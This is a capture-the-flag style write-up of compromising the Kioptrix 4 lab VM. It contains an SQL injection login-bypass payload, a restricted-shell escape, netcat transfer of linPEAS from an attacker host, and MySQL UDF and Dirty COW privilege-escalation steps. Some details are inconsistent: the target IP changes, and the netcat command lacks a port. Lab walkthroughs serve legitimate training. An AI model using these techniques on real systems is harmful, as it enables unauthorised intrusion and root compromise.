Kioptrix 4: Boot-to-Root

Xsensei
11 min readJun 14, 2024

--

Again a long delay between VMs, but that cannot be helped. Work and family must come first. Blogs and hobbies are pushed down the list. These things aren’t as easy to make as one may think. Time and some planning must be put into these challenges, to make sure that:

1. It’s possible to compromise the machine remotely

2. Stays within the target audience of this site

3. Must be “realistic” (well kinda…)

4. Should serve as a refresher for me. Be it PHP or MySQL usage etc. Stuff I haven’t done in a while.

📖Introduction

Hello folks, I hope everything is going well with you. In this write-up, we will explore how to install, configure, and exploit the Kioptrix 4 VM to gain root access to the machine.

🖥️Lab Setup

Before the ink dries, let’s get started.

⬇️Installation

After downloading the machine’s file, you will find that it’s a “.rar” file. Extract its contents and you will find this file:

.vmdk file is a virtual machine disk format is a container format that stores every information about the said virtual machine.

Creating a virtual machine (VM) on VMware and importing a .vmdk file involves several steps. Here's a detailed guide to help you through the process:

Step 1: Create a New Virtual Machine:

  • Click on File > New Virtual Machine.
  • Select Custom (advanced) and click Next.

Step 2: Choose the Virtual Machine Hardware Compatibility:

  • Choose I will install the operating system later and click Next.

Step 3: Select a Guest Operating System:

Select the operating system type and version that matches the one on the .vmdk file. Click Next.

Step 4: Name the Virtual Machine:

Enter a name and specify a location for the VM. Click Next.

Steps 5: Configure the Processor and the Memory:

  • Set the number of processors and cores (1, and 1). Click Next.
  • Set the amount of memory for the VM. Click Next.

Steps 6: Configure the Network Type:

  • Choose the appropriate network type (e.g., NAT, Bridged, Host-only). Click Next.

Step 7: Configure the I/O Controller types and the Disk:

  • Use the recommended settings. Click Next.
  • Select Use an existing virtual disk and click Next.

Step 8: Select the Disk:

Browse and select the .vmdk file you have. Click Next.

Step 9: Complete the Virtual Machine Creation:

  • Review the hardware settings and click Finish.

Step 10: Power On the Virtual Machine:

🔍Host Discovery

After installing the VM, we need to determine the IP address assigned to it. Many tools can accomplish this. In this article, we’ll be using the netdiscover:

sudo netdiscover -i eth0 -r 192.168.109.0/24

“192.168.109.0/24” is the NAT subnet in my VMWare workstation. It could be different on your device. This will show all up devices on your network.

From the scanning result above, the target IP address is “192.168.109.141”. The other active hosts are the VMware default gateway, the DHCP server, and the DNS server.

🕵🏼Enumeration

After identifying the target, we need to scan for open ports and the services running on each of them to understand our attack surface. Nmap will be a great choice for that.

target=192.168.109.147
sudo nmap -sS -T4 -p- -sVC -O $target -oN scan-result.txt

let’s break this command down:

sudo: to run it with root privileges so that we can modify the TCP default connection (Three-way handshake) to make our scan faster.

Here are the scan results from the previous command:

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-06-13 10:45 EDT
Verbosity Increased to 1.
Completed SYN Stealth Scan at 10:45, 22.07s elapsed (65535 total ports)
Initiating Service scan at 10:45
Scanning 4 services on 192.168.109.147
Completed Service scan at 10:46, 11.10s elapsed (4 services on 1 host)
Initiating OS detection (try #1) against 192.168.109.147
NSE: Script scanning 192.168.109.147.
Initiating NSE at 10:46
Completed NSE at 10:46, 0.42s elapsed
Initiating NSE at 10:46
Completed NSE at 10:46, 0.01s elapsed
Initiating NSE at 10:46
Completed NSE at 10:46, 0.00s elapsed
Nmap scan report for 192.168.109.147
Host is up (0.00042s latency).
Not shown: 39528 closed tcp ports (reset), 26003 filtered tcp ports (no-response)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1.2 (protocol 2.0)
| ssh-hostkey:
| 1024 9b:ad:4f:f2:1e:c5:f2:39:14:b9:d3:a0:0b:e8:41:71 (DSA)
|_ 2048 85:40:c6:d5:41:26:05:34:ad:f8:6e:f2:a7:6b:4f:0e (RSA)
80/tcp open http Apache httpd 2.2.8 ((Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch)
|_http-server-header: Apache/2.2.8 (Ubuntu) PHP/5.2.4-2ubuntu5.6 with Suhosin-Patch
| http-methods:
|_ Supported Methods: GET HEAD POST OPTIONS
|_http-title: Site doesn't have a title (text/html).
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 3.0.28a (workgroup: WORKGROUP)
MAC Address: 00:0C:29:EF:7E:A0 (VMware)
Device type: general purpose
Running: Linux 2.6.X
OS CPE: cpe:/o:linux:linux_kernel:2.6
OS details: Linux 2.6.9 - 2.6.33
Uptime guess: 0.016 days (since Thu Jun 13 10:22:40 2024)
Network Distance: 1 hop
TCP Sequence Prediction: Difficulty=204 (Good luck!)
IP ID Sequence Generation: All zeros
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
| smb-os-discovery:
| OS: Unix (Samba 3.0.28a)
| Computer name: Kioptrix4
| NetBIOS computer name:
| Domain name: localdomain
| FQDN: Kioptrix4.localdomain
|_ System time: 2024-06-13T12:05:36-04:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
|_smb2-time: Protocol negotiation failed (SMB2)
|_clock-skew: mean: 3h19m29s, deviation: 2h49m42s, median: 1h19m29s
| nbstat: NetBIOS name: KIOPTRIX4, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
| Names:
| KIOPTRIX4<00> Flags: <unique><active>
| KIOPTRIX4<03> Flags: <unique><active>
| KIOPTRIX4<20> Flags: <unique><active>
| \x01\x02__MSBROWSE__\x02<01> Flags: <group><active>
| WORKGROUP<1d> Flags: <unique><active>
| WORKGROUP<1e> Flags: <group><active>
|_ WORKGROUP<00> Flags: <group><active>

NSE: Script Post-scanning.
Initiating NSE at 10:46
Completed NSE at 10:46, 0.00s elapsed
Initiating NSE at 10:46
Completed NSE at 10:46, 0.00s elapsed
Initiating NSE at 10:46
Completed NSE at 10:46, 0.00s elapsed
Read data files from: /usr/bin/../share/nmap
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 35.88 seconds
Raw packets sent: 91558 (4.029MB) | Rcvd: 39548 (1.583MB)

As indicated in the output above, there are four open ports: 22 (SSH), 80 (HTTP), 139 (NetBIOS), and 445 (SMB).

We’ll start by enumerating SMB. One of my favorite tools for this is enum4linux. The command to use is:

enum4linux -a $target

The output of this command shows the users that exist on the target machine:

Now that we know the local users on the machine, let’s move on to HTTP enumeration. First, we should fuzz for useful directories. To do that I’ll use gobuster. Command is:

gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-lowercase-2.3-medium.txt -u http://$target 

Output:

When you open the /john and /robert directories, you will find john.php and robert.php. These two pages will redirect you to index.php, which is a login page.

After trying default login credentials such as admin:admin and admin:password, I was redirected to the checklogin.php page with the following message:

The issue here is that the warning message does not indicate whether the username or the password is incorrect. So, I tried using as both the username and password to check if any fields are vulnerable to SQL injection (SQLi).

Then I received this error message:

👨🏻‍💻Exploitation

From this error message, we can deduce three pieces of information. First, the target machine is using a MySQL database. Second, the web server directory is located at /var/www. Third, the vulnerability exists in the password field, as indicated by the error appearing when the password input was '.

Now we can bypass the authentication for any existing user if we know their username. If the command that is sent to the database is:

select * from users where username='john' and password='test'

We can inject an SQL logical statement such as ' OR 1=1 --+to bypass authentication. Let’s use one of the usernames we obtained from the SMB enumeration:

Username: john

Password: ' OR 1=1 --+ where + is a white space

After logging in, it redirects you to the `member.php` page, where the content of the page displays the user’s password.

Let’s try with the other users:

I couldn’t get the password of any other user but Robert. I was facing this message:

Now that we have the credentials of John and Robert, who are local users, let’s attempt to log in via SSH using their credentials.

After logging in, you will find yourself in a restricted shell where only the following commands are allowed: cd, clear, echo, exit, help, ll, lpath, and ls. It also kicks you out of the session if you make any mistakes with the command line, such as printing the shell variables.

I searched extensively on Google, and after a while, I found a method to bypass this restricted shell in an article titled “Escaping Restricted Linux Shells”.

echo os.system("/bin/bash")

If you want to understand why the command “echo os.system(‘/bin/bash’)” allowed us to escape this restricted shell, you can check this page: Why does “echo os.system(‘/bin/bash’)” work?

Now, I’ll check the source code of the web pages to look for credentials for the database. After a bit of searching, I found the root credentials for the database.

root: <nopass>

We’ll back to this later, but for now, let’s enumerate the system to identify any vulnerabilities that could allow us to elevate our privileges. To do that I’ll use linPEAS

On the attacker machine, start a netcat listener with the following command:

nc -nlvp 7702 < linpeas.sh

On the target machine, change your current working directory to a directory where you have write permissions. After that, use netcatto download the file using this command:

netcat -n 192.168.109.131 > linpeas.sh

The last step is to change the permissions of the file to make it executable. Use the following command for that:

chmod +x linpeas.sh

The output of the tool shows us many useful info about the system:

==============snippet=================
╔══════════╣ Searching mysql credentials and exec
Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');
Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');
From '/etc/mysql/my.cnf' Mysql user: user = root
Found readable /etc/mysql/my.cnf
[client]
port = 3306
socket = /var/run/mysqld/mysqld.sock
[mysqld_safe]
socket = /var/run/mysqld/mysqld.sock
nice = 0
[mysqld]
user = root
pid-file = /var/run/mysqld/mysqld.pid
socket = /var/run/mysqld/mysqld.sock
port = 3306
basedir = /usr
datadir = /var/lib/mysql
tmpdir = /tmp
language = /usr/share/mysql/english
skip-external-locking
bind-address = 127.0.0.1
key_buffer = 16M
max_allowed_packet = 16M
thread_stack = 128K
thread_cache_size = 8
query_cache_limit = 1M
query_cache_size = 16M
expire_logs_days = 10
max_binlog_size = 100M
skip-bdb
[mysqldump]
quick
quote-names
max_allowed_packet = 16M
[mysql]
[isamchk]
key_buffer = 16M
!includedir /etc/mysql/conf.d/
Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');
Found lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so. lib_mysqludf_sys: /usr/lib/lib_mysqludf_sys.so
If you can login in MySQL you can execute commands doing: SELECT sys_eval('id');
==============snippet=================

let’s log in to MySQL:

After checking the UDF I found :

Purpose: The sys_exec() function allows the execution of shell commands directly from MySQL. When called, it executes the given command on the server's operating system. Since we have root access to the database, any command executed through this function will run with root privileges!

The previous command copies the bash binary to the /tmp directory and then add the setuid permission to it. The setuid bit tells the OS to execute the program with the user ID of its owner.

Now, if you navigate to the /tmp directory and execute the bash binary with the -p flag, you will gain root privileges:

Another method to gain root access is by exploiting a kernel vulnerability.

==============snippet=================
╔══════════╣ Executing Linux Exploit Suggester 2
╚ https://github.com/jondonas/linux-exploit-suggester-2
[1] american-sign-language
CVE-2010-4347
Source: http://www.securityfocus.com/bid/45408
[2] can_bcm
CVE-2010-2959
Source: http://www.exploit-db.com/exploits/14814
[3] dirty_cow
CVE-2016-5195
Source: http://www.exploit-db.com/exploits/40616
[4] do_pages_move
Alt: sieve CVE-2010-0415
Source: Spenders Enlightenment
[5] exploit_x
CVE-2018-14665
Source: http://www.exploit-db.com/exploits/45697
[6] half_nelson1
Alt: econet CVE-2010-3848
Source: http://www.exploit-db.com/exploits/17787
[7] half_nelson2
Alt: econet CVE-2010-3850
Source: http://www.exploit-db.com/exploits/17787
[8] half_nelson3
Alt: econet CVE-2010-4073
Source: http://www.exploit-db.com/exploits/17787
[9] msr
CVE-2013-0268
Source: http://www.exploit-db.com/exploits/27297
[10] pipe.c_32bit
CVE-2009-3547
Source: http://www.securityfocus.com/data/vulnerabilities/exploits/36901-1.c
[11] pktcdvd
CVE-2010-3437
Source: http://www.exploit-db.com/exploits/15150
[12] reiserfs
CVE-2010-1146
Source: http://www.exploit-db.com/exploits/12130
[13] sock_sendpage
Alt: wunderbar_emporium CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9435
[14] sock_sendpage2
Alt: proto_ops CVE-2009-2692
Source: http://www.exploit-db.com/exploits/9436
[15] video4linux
CVE-2010-3081
Source: http://www.exploit-db.com/exploits/15024
[16] vmsplice1
Alt: jessica biel CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5092
[17] vmsplice2
Alt: diane_lane CVE-2008-0600
Source: http://www.exploit-db.com/exploits/5093
==============snippet=================

This kernel version is vulnerable to DirtyCow. As we have done with linpeas file I’ll transfer the exploitation code from the attacker machine to the target machine.

Compile with:

gcc -pthread dirty.c -o dirty -lcrypt

Unfortunately, the GCC compiler is not installed on the machine, so we are unable to build our binary to exploit the kernel.

That’s it for today. I hope this writeup was useful for you folks; stay safe and keep pinging :)

WHNlbnNlaTA3 😉

--

--